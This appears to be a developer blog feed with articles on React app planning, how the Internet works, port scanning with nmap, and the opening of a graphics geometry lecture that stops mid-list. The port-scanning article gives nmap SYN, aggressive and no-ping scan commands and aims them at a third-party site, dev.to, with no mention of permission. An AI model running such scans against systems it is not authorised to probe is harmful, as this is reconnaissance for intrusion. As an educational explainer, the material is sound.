APP CONSIDERATION	EXAMPLES	RESOURCES
Internationalization / Globalization	UI and UX translations for multiple languages	formatjs
SEO	Server-side rendering to enable search indexing	React DOM Server
Cross-browser support	If your site must support IE10+ and all modern browsers (Edge, Chrome, Safari)	babeljs
Accessibility	WAI-ARIA, WCAG	ARIA, WCAG
Offline-first	Service workers	Service Workers
Progressive web apps (PWA)		Progressive Web Apps with React.js
Cross-platform native mobile app	React Native, NativeScript	React Native, NativeScript

The resources above are examples for consideration when deciding baseline standards and the types of support your application can offer. There are other approaches and new options crop up all the time. What’s more, if your app won’t benefit from an offline-first or PWA approach, don’t build one in. Always consider the goals and intended audience of your app.

Development Process Methodology

There are a number of different approaches to software development that have evolved over the last 50+ years. Waterfall, Agile, Scrum and Kanban are among the most notable.

Whichever project methodology you select, it’s important to remain consistent, and to ensure that you have buy-in and support from key stakeholders beyond your development team. This includes management, executives and project customers. Some methodologies—Scrum, for example—require active engagement from non-engineering resources. Securing the support of these stakeholders is essential to a successful project.

Tooling and Development

Tooling has grown in importance among web application developers in the last decade. As the complexity of web applications has grown, so has the variety, scope and scale of the tools developers use to create these applications. In the context of a web application, package managers, module loaders and bundlers, linters, task runners, online collaboration tools and UI frameworks are the key building blocks of developing a robust React application.

Let’s take a look at some of the current popular tooling for React applications.

Package Managers

Package managers help you manage dependencies for an application and ensure that these are available for every environment in which your app will run. For example, npm is often used to fetch dependencies for development, in addition to those needed for production.

Development dependencies are tools that you need during the creation of your app, but which are not required in production. Examples include unit testing tools, code linters or transpilation libraries like TypeScript, which produces your production code assets at build-time, and is not needed in production. Production dependencies are those dependencies that are required for your app to run in production, like React itself, CSS and UI libraries or utility tools like moment.js.

Here are a few tools to consider when choosing a package manager:

PACKAGE MANAGERS
npm
yarn
jspm.io
bower

Task Runners

JavaScript task runners allow you to automate many tasks common to complex web application development and deployment. Managing and performing these types of tasks are errorprone when left to humans, but task runners make these simple, and speed up application development and deployment.

Task runners can be used to start a local development server, to compile, minify/uglify assets, run test suites and more. In recent years, webpack has become the de facto standard in the React community, though there are other solid options available.

TASK RUNNERS
webpack
npm
Grunt
Gulp
Tree.js

Linters and Enforcement

When working as a part of a team of engineers, a common goal is to ensure that each piece of code authored is written as if it were coded by a single person. The “common voice” idea extends from things like application structure and error-handling, all the way down to formatting and code styles.

There are three types of tools that aid in enforcing a consistent coding style within a team, and should be configured before coding begins.

TOOL	EXAMPLES
Code linters	ESLint, CSSLint, Standardjs
Code style checkers	ESLint, Standardjs
Code editor formatting/style	.editorconfig

Create React App

Many developers using modern front-end frameworks can quickly become overwhelmed with all the setup and configuration required to get a simple application up-and-running. What used to take minutes in the early JavaScript and jQuery days now seems to require hours to get package managers, linters, task runners and testing tools all working together. To combat this tooling fatigue, the React team supports a tool called Create-React-App, a command-line utility that provides all the app set-up and configuration for you, so you can get to coding in minutes. It’s an extensible tool that is perfect for most early projects, and you can “eject” into a full configuration at any point if your needs expand beyond what the tool provides, out-of-the-box.

Online Collaboration Tools

Online collaboration tools enable you to easily develop and test your ideas. Furthermore, you can easily share your code with others.

Here are a few tools to consider when choosing an online playground:

ONLINE COLLABORATION TOOLS
StackBlitz
Plunker

UI Components

Building any non-trivial web application is going to require you to create UI components beyond what the browser itself has to offer. Textboxes, labels and dropdown lists will only get you so far.

When it comes to UI components, there are a lot of solid options, both open source and commercial. The key is to pick a library that is built on React and uses React APIs, not one that merely wraps React. Wrapper libraries will provide a familiar syntax, but you often lose many of the performance and functional benefits of React when implementing these libraries.

TOOL	DESCRIPTION
KendoReact	Native React UI component library that includes grid, charts, dropdowns and many other customizable components.
Material UI	An open source library containing many of the components needed to create applications which adhere to the Material Design specification.
Semantic UI	Official React components for the Semantic UI framework. Designed to help create responsive layouts with “humanfriendly HTML.”
React Bootstrap	React components for this popular CSS framework that is often used for application layout and its popular grid system.

Testing Methodologies

How you test, the tools you choose for testing and the ways you decide to implement tests is less important than the fact that you prioritize some form for testing in your application. It’s likely that you’ll want to test each module or unit of your code with unit tests. As you start to string code units together into a complete application, you’ll want to consider functional, endto-end testing. The list below contains some popular unit and functional test tools for React applications.

TOOL	DESCRIPTION
Jest	The Jest testing framework is a zero-configuration test framework that works out of the box with React applications
Enzyme	Enzyme is a JavaScript testing utility for React that makes it easier to assert, manipulate, and traverse your React Components’ output.
Karma	The karma test runner is ideal for writing and running unit tests while developing the application. It can be an integral part of the project’s development and continuous integration processes.
Navalia	Navalia is an end-to-end test-runner and browser automation framework with a simple API and support for complex user interactions.

Codebase Distribution Strategies

The days of building web-based applications solely for the browser are well-behind us. In today’s day and age, it’s possible to use web technologies to build desktop and fully-native mobile applications. Modern language interpreters and transpilers like Babel and TypeScript make this possible by converting the JavaScript we create into an Abstract Syntax Tree, or AST. An AST is a series of commands that describes our code, but which is written at a higher level than our code itself. ASTs make our code portable, meaning that other programs can take these AST representations of our web code and output whatever code is needed for another platform or target.

For example, NativeScript, a popular cross-platform native mobile application framework, uses an AST to convert JavaScript and TypeScript code into native code that delivers a fully native application experience.

For your own application, you need to consider both your initial target and any future platforms on which you’ll want to serve your app.

Browser Only

If your app will only run in a browser, then your strategy is simple: deploy to a single server environment and your code will be served to the browser like a traditional web app.

Server-Side Rendering

Server-side rendering provides huge performance and SEO gains over solely rendering React applications from the browser. Because React rendering in the DOM is separate from the core engine, it’s possible to render views on the server and merely send HTML to the browser to represent the initial state of the application. Once the server has rendered these initial payloads, React picks up on the client-side, hydrating JavaScript and application logic when the app is ready. Server-side rendering is simple in React with ReactDOMServer.

Mobile and Desktop

If you’re considering targeting mobile devices or the desktop for your app, here are some tools to consider for leveraging your React codebase on non-browser platforms:

|TOOL|DESCRIPTION|
|Electron|Build cross platform desktop apps with JavaScript, HTML and CSS.|
|NativeScript|Open source framework for building native mobile apps with Angular, TypeScript or JavaScript.|
|React Native|React Native lets you build mobile apps using only JavaScript. It uses the same design as React, letting you compose a rich mobile UI from declarative components.|

Progressive Web Apps

Progressive Web Apps use modern web capabilities to deliver app-like user experiences, particularly on mobile devices. They evolve from pages in browser tabs to immersive, top-level apps, maintaining the web’s low friction at every moment.

Some of the key characteristics of PWAs include:

Progressive - Work for every user, regardless of browser choice because they’re built with progressive enhancement from the start
Responsive - Fit any form factor, desktop, mobile, tablet, or whatever is next
Connectivity independent - Enhanced with service workers to work offline or on low quality networks
App-like - Use the app shell model to provide app-style navigation and interactions
Fresh - Always up-to-date thanks to the service worker update process
Safe - Served via Transport Level Security to prevent snooping and ensure content hasn’t been tampered with
Discoverable - Are identifiable as “applications” thanks to W3C manifests and service worker registration scope allowing search engines to find them
Re-engageable - Make re-engagement easy through features like push notifications
Installable - Allow users to “keep” apps they find most useful on their home screen without the hassle of an app store
Linkable - Easily share via URL and not require complex installation

React has a lot of features that make creating PWAs easy.

Define Your Deployment Strategy

When you’re ready to start getting your application closer to test, staging or production environments, you need to plan for regularly moving your code between environments. A continuous integration (CI) server is the ideal solution for managing your deployments, regardless of whether you intend to deploy to a live environment with every push.

Setting up for CI also improves your approach to local development, especially when you think about your CI approach from the start. Ideally, anything you do during CI you should first do locally to ensure that other developers on the team can easily replicate your setup, and that your CI system is properly configured to obtain dependencies, run tests and the like.

For React applications, I recommend considering one of the following CI tools:

CONTINUOUS INTEGRATION TOOLS
Travis CI
Jenkins
CodeShip

JavaScript Error Monitoring

A JavaScript error monitoring tool should be used to capture runtime errors that occur in your staging and production environments. Typically, you won’t use this tool in development once you get it configured.

This is one of the most commonly-skipped steps in the creation of web apps, but should not be overlooked. A quality tool, like one of the tools below, will save you countless hours tracking down production issues that are difficult to replicate in a local environment.

ERROR MONITORING TOOLS
TrackJS
Sentry
Raygun

Style Guide, Architecture and State Management

Defining a style for your team and project is essential, as is deciding the architectural styles you’ll implement.

Thinking in React

As a mature application framework, React is very opinionated about the guidance it provides and the patterns you’re encouraged to use. Before starting your React application, consider a careful review of the Thinking in React guide for some pointers, recommendations and common patterns to consider. Doing so will help you scale your app as it becomes more mature and well-trafficked.

State Management

State management is built into React via component internal state and can be shared between components via Props. For more complex state management, I recommend considering a library like Redux or MobX, both of with can easily be plugged into React applications and used to manage application state and mutations.

TOOL	DESCRIPTION
React State & setState()	Native React mechanisms for managing the internal state of a component and batching updates to view elements that depend on that state
Redux	Robust state container that lives apart of React components and can help manage complex application state
MobX	Simple state manager for React apps. Preserves some of the concepts of Redux, but is a bit simpler to start with

Backend API

When building your web application, you’ll want to make sure you consider data storage and access from the start. Even if you’re working with an existing data repository, I highly recommend wrapping that store in an API and taking an API-first approach to your development project.

API-first development means that you document, build and test your API first. The end result is a relatively-stable API before you write any dependent application code. This doesn’t mean front-end development has to wait, however. During API construction, front end developers can build prototypes as early consumers of the API and provide valuable feedback to API developers.

The strongest argument in favor of API-first development is to reduce the chances that API bugs or weaknesses end up propagating into or are amplified by the data later. As much as possible, you don’t want your front-end to have to bend over backwards to work around or mask deficiencies in your API later. Having a documented and solid API before a line of production code is written can go a long way to saving you headaches in the future.

So build your API first. Document it, test it and be ready to evolve it as you build against it.

A few key details to remember when taking an API-first approach is that security and authentication need to be embedded in the API, and that data environments should be kept separate. When developers are coding against the API, they should be working with development data, never live production resources.

Performance Strategies

It’s worth investigating how to get the most out of your React application—from a performance standpoint—early-on in the development process. Let’s investigate some ways that you can ensure that your app runs well once you get it live.

Polyfills and Browser Support

Modern frameworks like React owe some of their popularity to the fact that they allow you to use cutting edge JavaScript language features without having to worry too much about browser support. This has certainly sped up language feature adoption and allowed the TC-39 committee (which oversees the ECMAScript standard) to move fast when it comes to shipping new features for the language.

That said, when targeting modern JavaScript language features and browser capabilities, you want to be sure to only load polyfills or additional code when needed by a browser, and not for every user of your application. Using the tools below, you can ensure that your app visitors on modern browsers get the fastest experience and native use of modern features.

TOOL	DESCRIPTION
babel/preset-env	An npm extension to Babel that allows you to specify the browsers and versions you want to support; ensures that Babel transpiles your source to code required by the browsers you support.
Polyfill.io	A utility library that loads polyfills at runtime when a user visits your site or app. Polyfills loaded are only those needed by the browser, meaning that modern browsers won’t be hit with the network cost of downloading code they don’t need.
core-js	Modular standard library for JavaScript. Includes polyfills for ECMAScript 5, ECMAScript 6: promises, symbols, collections, iterators, typed arrays, ECMAScript 7+ proposals and more.

Bundling

Bundling code allows us to remove unused or “dead” code and minify our builds before we deploy, as well as shrinking the overhead of that first set of JavaScript resources. Bundling tools also include capabilities to rename variables, functions and properties in order to obtain the smallest payload size possible that your servers will have to transfer over the network.

Tree-Shaking

Tree-shaking allows you to remove unused imports from your codebase, thus reducing the size of your bundle and the final assets shipped down to the browser.

Lazy-Loading

Lazy-loading is an approach that loads dependent modules only when you need them. For instance, an About component on a Home page would only be fetched when the page is accessed by a user. This keeps initial application payloads small and speeds up the loading experience of your app. While React does not provide lazy-loading capabilities by default in its core API, it is possible to use Promises or npm libraries to implement this functionality, should you decide to do so.

Conclusion

React is one of the hottest new web technologies, and there is a rich ecosystem of tools and libraries to support it. The strategies we’ve presented here for tooling, testing, performance, style and distribution will help you get started on the path to success. Once you have mastered the basics, there is a rich and diverse set of tools, libraries and methodologies for you to explore.

React seems like a cultural issue that changes from continent to continent. There are a lot of people who criticize and really love.

Take care of yourselves. Also, do not forget to comment and leave a reaction. :)

How the Internet work? (IP, TCP, LAN, FTP, ...)

Fatih Küçükkarakurt — Sat, 05 Feb 2022 18:26:38 +0000

The single most important fact to understand about the Internet is that it can potentially link your computer to any other computer. Anyone with access to the Internet can exchange text, data files and programs with any other user. For all practical purposes almost everything that happens on the Internet is a variation of one of these activities. The Internet itself is the pipeline that carries the data between computers.

TCP/IP: the Universal Language of the Internet

The Internet works because every computer connected to it uses the same set of rules and procedures (protocols) to control timing and data format. The protocols used by the internet are called Transmission Control Protocol/Internet Protocol universally abbreviated as TCP/IP.

These protocols include the specifications that identify individual computers and that exchange data between computers. They also include rules for several categories of application programs so programs that run on different kinds of computers can talk to one another.

TCP/IP software looks different on different types of computers but it always presents the same appearance to the network. It does not matter if the system at the other end of a connection is a supercomputer, pocket size PC or anything in between – as long as it recognises TCP/IP protocols it can send an receive data through the internet.

Routing Traffic Across the Internet

Most computers are not connected directly to the Internet. Rather they are connected to smaller networks that connect to the Internet backbone through gateways. This is why the Internet is sometimes described as a network of networks. The core of the Internet is the set of backbone connections that tie the local and regional networks together and the routing scheme that controls the way each piece of data finds its destination.

The Internet includes many thousands of servers each with its own unique address. These servers in tandem with routers and bridges do the work of storing and transferring data across the network.

Because the Internet creates a potential connection between any 2 computers the data may be forced to take a long circuitous route to reach its destination. Suppose for example you request data from a server in another area,

Request must be broken into packets
Packets are routed through your local network and possibly though one or more subsequent networks to the Internet backbone.
After leaving the backbone the packets are routed through one or more networks until they reach the appropriate server and are reassembled into the complete request.
Once the destination server receives your request it begins sending you the requested data which winds its way back to you possibly over a different route.

Between the destination server and you PC the request and data may travel through several different servers each helping to forward the packets to their final destination.

Addressing Schemes – IP and DNS Addresses

Internet activity can be defined as computers communicating with each other using the common language of TCP/IP. Examples are

Client system communicating with an Internet server.
Internet server computer communicating with a client computer.
2 server computers communicating with each other.
2 client computers communicating via one or more servers.

The computer that originates a transaction must identify its intended destination with a unique address. Every computer on the Internet has a four part numeric address called the Internet protocol address (IP address) which contains routing information that identifies its location. Each of the four parts is a number between 0 and 255 so and IP address looks like 194.145.128.14

Computers have no problems working with long strings of numbers but we are not so skilled! Most computers on the Internet also have an address called a domain name system (DNS) address, an address that uses words rather than numbers.

Domains and Subdomains

DNS addresses have 2 parts

Host name – name for a computer connected to the Internet
Domain – generally identifies the type of institution that uses the address.

This type of domain name is often called a top-level domain.

Most common types of Internet domains,

Domain	Type of Organisation	Example
.com	Business (commercial)	ibm.com
.edu	Educational	mit.edu
.gov	Government	whitehouse.gov
.mil	Military	army.mil
.net	Gateway or host	behance.net
.org	Other organisation(typically non profit)	isoc.org

Some large institutions and corporations divide their domain addresses into smaller subdomains.

In 1996 the Internet Assigned Numbers Authority (IANA) and the Internet society began an organised movement to create an additional set of top-level Internet domains. The action was necessary because many companies and private groups were finding it difficult to devise suitable domain names for their Internet sites. There was only so much room in the .com domain and some companies found that their mane or product name was already in use.

The group’s goal was to expand the list of top-level domains to make it easier for organisations of all kinds to create an Internet domain for themselves. The group developed the Generic Top-Level Domain Memorandum of Understanding (TLDMoU) which spells out proposals for the future management of Internet domains and
proposes 7 new top-level domains for future use

Domain	Types of Organisation
.firm	Businesses or Firms (equivalent to .com)
.shop	Businesses offering purchases over the Internet
.web	Organisations involved in web related activities
.arts	Organisations promoting artistic or entertainment activities over the internet
.rec	Organisations promoting recreational activities over the Internet
.info	Organisations providing information services over the Internet
.nom	Individual, family or personal nomenclature

Major Features of the Internet

The popularity of the Internet is due more to content than connectivity.

As a business tool it has many uses. Email is an efficient and inexpensive way to send and receive massages and documents around the world. The www is becoming an important advertising medium and channel for distribution. Databases and online information archives are often more up to date than any library. The Internet also has virtual communities made up of people who share interests.

Most individual users connect the computers modem to the phone line and set up an account with an Internet Service Provides (ISP) providing local and regional access to the Internet backbone. Many others connect through a school or business LAN.

The World Wide Web

The web was created in 1989 at the European Particle Physics Lab in Geneva as a method for incorporating footnotes figures and cross-references into online hypertext documents. A hypertext document is a specially encoded file that uses the hypertext markup language (HTML). This language allows a documents author to embed hypertext links (called hyperlinks or links) into the document.

As you read a hypertext document (web page) on screen you can click on an encoded word or picture and immediately jump to another location. A collection of web pages is called a web site, and these are housed on a web server. Copying a page to the server is called posting the page (or publishing or uploading).

Popular web sites receive millions of hits (or page views) per day. Many web masters measure their sites success by the number of hits in a given timeframe. A Webmaster is the person or group responsible for designing and maintaining a website. The terms www and internet are used interchangeably however the www is just one part of the Internet.

Web browsers and HTML tags

Mosaic, a point and click web browser was developed at the University of Illinois in 1993. A web browser is a software application designed to find hypertext documents on the web and open them on the users computer. A web browser displays a web page as specified by the pages underlying HTML code. The code provides the browser with

Fonts and font sizes
Where and how to display graphics
If and how to display sound, animation or other special content.
Location of links and where to go if they are clicked.
Whether special programming codes, which the browser needs to interpret, are used in the page.

HTML tags which are enclosed in angle bracket (<>) tell the browser how to display individual elements on the page. They are placed around the portions of the document that they affect. Most tags have a starting tag such as <H1> and an ending tag such as </H1>. A slash indicates a finishing tag.

HTTP and URLs

The internal structure of the World Wide Web is built on a set of rules called hypertext transfer protocol (HTTP). HTTP uses Internet addresses in a special format called a uniform resource locator (URL) that look like, type://address/path. Type specifies type of server on which the URL is located. Address is the address of the server. Path location within the file structure of the server.

Home Pages

Personalised start page
On your browser you can choose a web page that opens immediately when you launch the browser.
Web site home page
A web sites primary page is also called a home page. This is the first page that you see when you type the sites basic URL.

Helper Applications and multimedia content

Large files such as audio and video require special applications in order to be played in real time across the Web. These applications are called helper applications or plugins.

Plugins are used to support several types of content including streaming audio and streaming video. One of the most commonly used plugin applications is Macromedia Shockwave, enabling web designers to create high quality animation or video with sound that plays directly within the browser window.

Finding content with a search engine

Specialised Web sites called search engines use powerful data searching techniques to discover the type of content available on the Web. By using a search engine and specifying your topic of interest you can find the right site of information.

Popular Search Engines

Electronic Mail

Popular Internet email programs include

Listserv systems

One type of mailing list that uses email is an automated list server or listserv. Users on the list can post their own messages so the result is an ongoing discussion.

News

The Internet supports a form of public bulletin board called news. Many of the most widely distributed newsgroups are part of a system called Usenet. Users post articles about the groups topic and as others respond they create a thread of linked articles. A newsreader program obtains articles from the news server using the network news transfer protocol (NNTP). To see articles posted on a specific topic you subscribe to the newsgroup addressing that topic.

Major Usenet domains

Comp – computer related
Sci – science and technology (not computers)
Soc – social issues and politics
News – topics related to Usenet
Rec – arts hobbies and recreational activities
Misc – all other topics

Telnet – Remote Access to distant computers

This is the Internet tool for using one computer to access a second computer. You can send commands that run programs and open text or data files. Connecting to a Telnet host is easy, enter the address and the telnet program establishes a connection.

FTP

File Transfer Protocol is the Internet tool used to copy files from one computer to another. When a user has accounts on more than one computer FTP can be used to transfer data or programs between them.

Internet Relay Chat (IRC)

Internet Relay Chat, or just chat is a popular way for Internet users to communicate in real time with other users. Chat does not require a waiting period between the time you send a message and the time the other party receives it. IRC is often referred to as the CB radio of the Internet because it enables few or many people to join a discussion.

Accessing the Internet

Direct Connection

Programs run on the local computer which uses TCP/IP protocols to exchange data with another computer through the Internet. An isolated computer connects to the Internet through a serial data communications port using SLIP (serial line interface protocol) or PPP (point to point protocol).

Remote Terminal Connection

Exchanges data and commands in ASCII format with a host computer that uses UNIX or similar OS. TCP/IP application programs and protocols all run on the host. This is known as a shell account as the command set in UNIX is called a shell.

Gateway Connection

Even if a LAN does not use TCP/IP commands and protocols it may provide some Internet services. Such networks use gateways that convert commands and data to TCP/IP format.

Connecting Through a LAN

If a LAN uses TCP/IP protocols for communication within the network it is simple to connect to the Internet through a router, another computer that stores and forwards data to other computers on the internet.

Connecting Through a Modem

If there is no LAN on site a stand alone computer can connect to the internet through a serial data communications port and a modem using either a shell account and a terminal emulation or a direct connection with a SLIP (serial line interface protocol) or PPP (point to point protocol) account.

High Speed Data Links

Using fibre optics, microwave and other technologies it is entirely practical to establish an internet connection that is at least 10 times faster than a modem connection.

o ISDN service
o xDSL services
o Cable modem service

Working on the Internet

Businesses and Firewalls

A firewall is set up to control access to a network by people using the Internet. Firewalls act as barriers to unauthorised entry into a network that is connected to the Internet, allowing outsiders access to public access areas but preventing them from exploring proprietary areas of the network.

A firewall system can be hardware, software or both. It works by inspecting requests and data that travel between the private network and the Internet. If the request or data does not pass the firewalls security inspection it is stopped from travelling any further.

Intranets and Extranets

An intranet is a LAN or WAN that uses TCP/IP protocols but belongs exclusively to a corporation, school or organisation. It is accessible only to the organisation’s workers. If it is connected to the Internet then it is secured by a firewall to prevent unauthorised access.

An extranet is an intranet that can be accessed by outside users over the Internet. To gain entrance an external user typically must log on to the network by providing a valid user ID and password.

Intranets and Extranets are popular for several reasons including

Use standard TCP/IP protocols ‡ simpler and less expensive to install and configure.
Enable users to work in standard web browsers providing a consistent interface.
Function readily with firewalls and other standard security technologies.

Issues for Business Users and Telecommuters

Ownership Any piece of text or graphic retrieved from the Internet may be covered by trademark or copyright law making it illegal to use it without the owners consent.
Libel If email messages are sent through an employers network then the employer may become involved if the sender is accused of libel.
Appropriate use When using a business network to access the Internet users must be careful to use network resources appropriately.

Commerce on the www

Using an e-commerce site is like browsing through an online catalogue. When you are ready to make your purchases you can pay in several ways,

One time credit card purchases
Provide your personal and credit card information each time you make a purchase.
Set up an online account
If you think you will make more purchases with the online vendor you can set up an account at the web site. The vendor stores your personal and credit card information on a secure server and a cookie is placed on your computer disk. Later when you access your account using a user ID and password the site uses the information in the cookie to access your account.
Use electronic Cash
Also called digital cash. Takes the form of a redeemable electronic certificate which can be purchased from a bank that provides electronic cash services. Not all e-commerce web sites accept digital cash yet.
Electronic wallet
Program on your computer that store credit card information, a digital certificate that verifies your identity and shipping details. Not accepted by all e-commerce sites.

Security

Reputable e-commerce sites use sophisticated measures to ensure that customer information cannot fall into the wrong hands. One way is to use secure web pages.

One way to provides secure websites is to encode pages using secure sockets layer (SSL) technology which encrypts the data. Another way is to use secure HTTP (SHTTP). SSL can be used to encode any amount of data, S-HTTP is used to encode individual pieces of data.

Conclusion

The purpose of this article was simply to explain how the internet works. You learned the meanings of some internet terms that we frequently use in daily life. It doesn't matter if you are a Back-End or Front-End Developer. You can also be a game developer or a Data Scientist. But I think every developer should know how the internet works and some basic security measures.

Take care and don't forget to follow. This is quite motivating. :)

PORT SCANNING | nmap, connect()

Fatih Küçükkarakurt — Fri, 04 Feb 2022 22:20:02 +0000

Each service provided by a computer monitors a specific port for incoming connection requests. There are 65,535 different possible ports on a machine. The main goal of port scanning is to find out which ports are open, which are closed, and which are filtered.

Looking at your machine from the outside, a given port on your machine is open only if you are running a server program on the machine and the port is assigned to the server. If you are not running any server programs, then, from the outside, no ports on your machine are open. This could be the case with a brand new digital device that is not meant to provide any services to the rest of the world. But, even with a device that was “clean” originally, should you happen to click accidentally on an email attachment consisting of malware, you could inadvertently end up installing a small server program in your machine that the bad guys could use to do their bad deeds.

When we say a port is filtered, what we mean is that the packets passing through that port are subject to the filtering rules of a firewall.

If a port on a remote host is open for incoming connection requests and you send it a SYN packet, the remote host will respond back with a SYN+ACK packet.

If a port on a remote host is closed and your computer sends it a SYN packet, the remote host will respond back with a RST packet.

Let’s say a port on a remote host is filtered with something like an iptables based packet filter and your scanner sends it a SYN packet or an ICMP ping packet, you may not get back anything at all.

If you are wondering about definitions such as SYN, ICMP, RST, you can specify them in the comments. I can explain these. But now let's continue without going beyond the subject of the article.

A frequent goal of port scanning is to find out if a remote host is providing a service that is vulnerable to buffer overflow attack. Port scanning may involve all of the 65,535 ports or only the ports that are well-known to provide services vulnerable to different security-related exploits.

Port Scanning with Calls to `connect()`

The simplest type of a scan is made with a call to connect(). The manpage for this system call on Unix/Linux systems has the following prototype for this function:

#include <sys/socket.h>

int connect(int socketfd, const struct sockaddr *address, socklen_t address_len);

where the parameter socketfd is the file descriptor associated with the internet socket constructed by the client (with a call to three-argument socket()), the pointer parameter address that points to a sockaddr structure that contains the IP address of the remote server, and the parameter address_len that specifies the length of the structure pointed to by the second argument.

A call to connect() if successful completes a three-way handshake for a TCP connection with a server. The header file sys/socket.h includes a number of definitions of the structs needed for socket programming in C.

When connect() is successful, it returns the integer 0, otherwise it returns -1.

In a typical use of connect() for port scanning, if the connection succeeds, the port scanner immediately closes the connection (having ascertained that the port is open).

Port Scanning with TCP SYN Packets

Scanning remote hosts with SYN packets is probably the most popular form of port scanning. If your machine wants to open a TCP connection with another machine, your machine sends the remote machine a SYN packet. If the remote machine wants to respond positively to the connection request, it responds back with a SYN+ACK packet, that must then be acknowledged by your machine with an ACK packet.

In a port scan based on SYN packets, the scanner machine sends out SYN packets to the different ports of a remote machine. When the scanner machine receives a SYN+ACK packet in return for a given port, the scanner can be sure that the port on the remote machine is open. It is the “duty” of a good port-scanner to immediately send back to the target machine an RST packet in response to a received SYN+ACK packet so that the half-open TCP circuit at the target is closed immediately.

Ordinarily, when a target machines receives a SYN packet for a closed port, it sends back an RST packet back to the sender. Note that when a target machine is protected by a packet-level firewall, it is the firewall rules that decide what the machine’s response will be to a received SYN packet.

The `nmap` Port Scanner

nmap stands for “network map”. This open-source scanner, developed by Fyodor (see http://insecure.org/), is one of the most popular port scanners for Unix/Linux machines. There is good documentation on the scanner under the “Reference Guide” button at http://nmap.org/.

nmap is actually more than just a port scanner. In addition to listing the open ports on a network, it also tries to construct an inventory of all the services running in a network. It also tries to detect as to which operating system is running on each machine, etc. In addition to carrying out a TCP SYN scan, nmap can also carry out TCP connect() scans, UDP scans, ICMP scans, etc. Regarding UDP scans, note that SYN is a TCP concept, so there is no such thing as a UDP SYN scan. In a UDP scan, if a UDP packet is sent to a port that is not open, the remote machine will respond with an ICMP port-unreachable message. So the absence of a returned message can be construed as a sign of an open UDP port. However, a packet filtering firewall at a remote machine may prevent the machine from responding with an ICMP error message even when a port is closed.

As listed in its manpage, nmap comes with a large number of options for carrying out different kinds of security scans of a network. In order to give the reader a taste of the possibilities incorporated in these options, here is a partial description of the entries for a few of the options:

-sP:

This option, also known as the “ping scanning” option, is for ascertaining as to which machines are up in a network. Under this option, nmap sends out ICMP echo request packets to every IP address in a network. Hosts that respond are up. But this does not always work since many sites now block echo request packets. To get around this, nmap can also send a TCP ACK packet to (by default) port 80. If the remote machine responds with a RST back, then that machine is up. Another possibility is to send the remote machine a SYN packet and wait for an RST or a SYN/ACK. For root users, nmap uses both the ICMP and ACK techniques in parallel. For non-root users, only the TCP connect() method is used.

-sV:

This is also referred to as “Version Detection”. After nmap figures out which TCP and/or UDP ports are open, it next tries to figure out what service is actually running at each of those ports. A file called nmap-services-probes is used to determine the best probes for detecting various services. In addition to determine the service protocol (http, ftp, ssh, telnet, etc.), nmap also tries to determine the application name (such as Apache httpd, ISC bind, Solaris telnetd, etc.), version number, etc.

-sT:

The “-sT” option carries out a TCP connect() scan.

-sU:

This option sends a dataless UDP header to every port. As mentioned earlier in this article, the state of the port is inferred from the ICMP response packet (if there is such a response at all).

If nmap is compiled with OpenSSL support, it will connect to SSL servers to figure out the service listening behind the encryption.

To carry out a port scan of your own machine, you could try (called as root):

nmap -sS localhost

The “-sS” option carries out a SYN scan. If you wanted to carry out an “aggressive” SYN scan of, say, dev.to, you would call as root:

nmap -sS -A dev.to

where you can think of the “-A” option as standing for either “aggressive” or “advanced.” This option enables OS detection, version scanning, script scanning, and more.

If the target machine has the DenyHosts shield running to ward off the dictionary attacks and you repeatedly scan that machine with the ’-A’ option turned on, your IP address may become quarantined on the target machine (assuming that port 22 is included in the range of the ports scanned). When that happens, you will not be able to SSH into the target machine. The reason I mention this is because, when first using nmap, most folks start by scanning the machines they normally use for everyday work. Should the IP address of your machine become inadvertently quarantined in an otherwise useful-to-you target machine, you will have to ask the administrator of the target machine to restore your SSH privileges there. This would normally require deleting your IP address from six different files that are maintained by DenyHosts.

You can limit the range of ports to scan with the “-p” option, as in the following call which will cause only the first 1024 ports to be scanned:

nmap -p 1-1024 -sT dev.to

The larger the number of router/gateway boundaries that need to be crossed, the less reliable the results returned by nmap.

By default, nmap first pings a remote host in a network before scanning the host. The idea is that if the machine is down, why waste time by scanning all its ports. But since many sites now block/filter the ping echo request packets, this strategy may bypass machines that may otherwise be up in a network. To change this behavior, the following sort of a call to nmap may produce richer results (at the cost of slowing down a scan):

nmap -sS -A -P0 dev.to

The ’-P0’ option (the second letter is ’zero’) tells nmap to not
use ping in order to decide whether a machine is up.

nmap can make a good guess of the OS running on the target machine by using what’s known as “TCP/IP stack fingerprinting.” It sends out a series of TCP and UDP packets to the target machine and examines the content of the returned packets for the values in the various header fields. These may include the sequence number field, the initial window size field, etc. Based on these values, nmap then constructs an OS “signature” of the target machine and sends it to a database of such signatures to make a guess about the OS running on the target machine.

Conclusion

Port Scanning is important for every developer to know how ports and communication packets work. By knowing at least these basics, you can find your own open doors and try to find solutions to them. If you have any questions about web pentesting, bug bounty and game development feel free to write.

Take care of yourselves.

Geometry and Geometric Programming

Fatih Küçükkarakurt — Mon, 24 Jan 2022 16:03:45 +0000

Geometry for Game Programming and Graphics

For the next few lectures, we will discuss some of the basic elements of geometry. While software systems like Unity can conceal many of the issuesinvolving the low-level implementation of geometric primitives, it is important to understand how these primitives can be manipulated in order to achieve the visual results we desire. Computer graphics deals largely with the geometry of lines and linear objects in 3-space, because light travels in straight lines. For example, here are some typical geometric problems that arise in designing programs for computer graphics.

Transformations

You are asked to render a twirling boomerang flying through the air. How would you represent the boomerang’s rotation and translation over time in 3-dimensional space? How would you compute its exact position at a particular time?

Geometric Intersections

Given the same boomerang, how would you determine whether it has hit another object?

Orientation

You have been asked to design the AI for a non-player agent in a flight combat simulator. You detect the presence of a enemy aircraft in a certain direction. How should you rotate your aircraft to either attack (or escape from) this threat?

Change of coordinates

We know the position of an object on a table with respect to a coordinate system associated with the table. We know the position of the table with respect to a coordinate system associated with the room. What is the position of the object with respect to the coordinate system associated with the room?

Reflection and refraction

We would like to simulate the way that light reflects off of shiny objects and refracts through transparent objects.

Such basic geometric problems are fundamental to computer graphics, and over the next few lectures, our goal will be to present the tools needed to answer these sorts of questions. (By the way, a good source of information on how to solve these problems is the series of books entitled “Graphics Gems”. Each book is a collection of many simple graphics problems and provides algorithms for solving them.) There are various formal geometric systems that arise naturally in computer graphics applications.

The principal ones are:

Affine Geometry

The geometry of simple “flat things”: points, lines, planes, line segments, triangles, etc. There is no defined notion of distance, angles, or orientations, however.

Euclidean Geometry

The geometric system that is most familiar to us. It enhances affine geometry by adding notions such as distances, angles, and orientations (such as clockwise and counterclockwise).

Projective Geometry

